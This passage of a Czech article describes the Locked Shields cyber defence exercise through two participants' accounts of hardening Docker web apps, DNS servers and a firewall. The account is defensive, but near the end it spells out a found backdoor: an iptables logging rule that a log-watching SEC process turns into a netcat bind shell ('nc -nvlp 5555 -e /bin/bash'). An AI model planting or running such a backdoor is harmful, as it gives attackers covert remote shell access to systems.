pod tlak. V posledních letech přibyla v rámci cvičení i právní a mediální část cvičení, ve které dedikovaný tým řeší právní otázky či komunikaci s médii.

Aby takové otázky mohli ale zodpovědět, potřebují informace od samotných správců systémů, tedy technického týmu. Takže je třeba vědět, že se útok vůbec uskutečnil, ideálně odkud, na co cílil, jakého byl typu a byl-li úspěšný.

Tyto informace je také nutné alespoň v krátkosti sepsat pro „reporting tým“, který zprávu „učeše“, doplní a odevzdá k bodování. Do toho je nutné komunikovat s uživateli, kteří si stěžují v případě, že něco nefunguje – pokud se jim nedostane včasné odpovědi a vyřešení trouble tiketu, opět to znamená bodovou ztrátu.

Úkolů je mnoho, času je málo a každý další požadavek hoří ještě víc než ten předchozí – to vytváří poctivé stresové prostředí, které se snaží co nejvíce přiblížit atmosféře reálné krizové situace.

Praktické poznatky

Protože posilování schopností bezpečnostních týmů v oblasti kybernetické bezpečnosti je jedním z cílů projektu Strengthening cyber-security capacities in the Czech Republic, spolufinancovaném Nástrojem Evropské unie pro propojení Evropy, měly sdružení CZ.NIC a CSIRT.CZ možnost poslat na cvičení hned dva zástupce bezpečnostního týmu. Tady je pohled přímých účastníků Filipa Pokorného a Martina Kunce.

Filip Pokorný: Já jsem byl součástí webového týmu, se zaměřením na skupinu strojů s kontejnerizačním nástrojem Docker, ve kterém běžely webové aplikace a jejich back-endy a databáze (to vše na třech strojích v tzv. docker swarmu). Mým úkolem bylo aplikace zabezpečit po všech stránkách.

Od zkontrolování konfigurací Dockeru samotného až po auditování jednotlivých kontejnerů. To ve výsledku znamenalo zkontrolovat i zdrojové kódy webových aplikací (na tom se nás naštěstí podílelo více) a opravit nalezené zranitelnosti (některé aplikace byly vytvořeny na míru cvičení a mohly mít například obfuskovaný kód či úmyslně připravený backdoor).

Zdroj: Ccdcoe.org

[Letos se Česko umístilo na druhém místě, na medailových příčkách už dokonce potřetí v řadě.]

Zdroj: Ccdcoe.org

Po jejich opravení bylo nutné aplikaci opět nasadit a doufat, že jsme opravami nerozbili žádné z automatizovaných testů, které bodují dostupnost a hlavně použitelnost našich aplikací.

Cvičení vytváří výbornou napjatou atmosféru, ve které je nutné zachovat pořádek a udržet systémy běžící i v nepřeberném chaosu dění.

Navíc se člověk často setkával s technologiemi, které nezná, a musí je tak pro cvičení nastudovat, aby je uměl používat a zabezpečit.

Martin Kunc: Mojí primární zodpovědností byly linuxové DNS servery a jeden firewall. DNS servery byly celkem čtyři stroje. Na nich běžel jednak Knot DNS – jakožto autoritativní DNS server, a potom také dnsdist.

Kromě zabezpečení těchto serverů bylo mým úkolem i blokování doménových jmen, které využíval již běžící malware pro komunikaci s řídícími stroji.

Zmíněný firewall pak běžel na OS Debian a jeho role spočívala především v připojení segmentu IPv6 only sítě k internetu, a to tak, aby se bylo možné dostat i na stroje, které IPv6 adresu nemají.

Kontroloval jsem i další linuxové stroje a opravoval nedostatky v konfiguraci iptables. Mým nejzajímavějším nálezem byla zadní vrátka na firewallu, která čekala na přijetí konkrétního síťového packetu, což mělo za následek otevření portu, přes který mohl útočník nerušeně přistoupit do systému.

První částí tohoto backdooru bylo zdánlivě nevinné iptables pravidlo, které při přijetí konkrétního, leč neobvyklého paketu zaznamenalo událost do logu s řetězcem `"EVIL CONNECTION ATTEMPT:"`. Až o něco později jsem nalezl běžící legitimní (byť do té doby pro mě neznámý) proces SEC (Simple Event Correlator).

Vzhledem k tomu, že tento nástroj měl za úkol monitorování logů, skládačka do sebe začala zapadat. Právě jeho konfigurace měla na starost poskytnout útočníkům vzdálený přístup pomocí tohoto příkazu: `"nc -nvlp 5555 -e /bin/bash"`, a to hned na to, co se v logu objeví řetězec `"EVIL"`. ■